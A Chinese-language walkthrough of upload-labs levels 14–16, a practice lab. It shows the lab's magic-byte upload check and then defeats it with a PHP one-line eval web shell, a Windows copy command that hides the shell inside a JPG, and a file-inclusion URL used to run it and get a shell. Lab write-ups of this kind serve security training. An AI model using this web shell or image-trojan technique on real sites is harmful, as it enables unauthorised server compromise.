upload-labs pass-14~16

upload-labs pass-14

Pass-14

Pass-14~Pass-16是一样的通过方法，只是里面使用的函数不同。

先看一下源码（图片马）：

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

1.利用windows 命令
准备一个木马，以php一句话为例，文件名为pass.php,内容如下：

<?php
@eval($_POST['pass']);
?>

2.准备一张图片，文件名为555.jpg，然后再文件的目录cmd下，使用命令：

copy 555.jpg/b+pass.php/a muma.jpg

命令与参数说明：
copy:将文件复制或者是合并，/b的意思是以前边图片二进制格式为主，进行合并，合并后的文件依旧是二进制文件，实用于图像/声音等二进制文件。/a的意思是指定以ASCII格式复制，合并文件。用于jpeg等文本类型文档。


生成了一张图片木马，文件名为muma.jpg。

比较555.jpg与muma.jpg的区别:

当然，这种方法做的图片马不一定成功，我们可以用一些小工具来生成，这样就有可以成功，如：edjpgcom.exe。

3.把做好的图片马传上去。

利用include.php实现文件包含（靶场自带的）：

<?php
/*
本页面存在文件包含漏洞，用于测试图片马是否能正常运行！
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

到了此步就可以查看图片位置，直接包含图片拿shell了：

http://127.0.0.1/upload/include.php?file=upload/1520210626170848.jpg

菜刀连接一句话木马图片：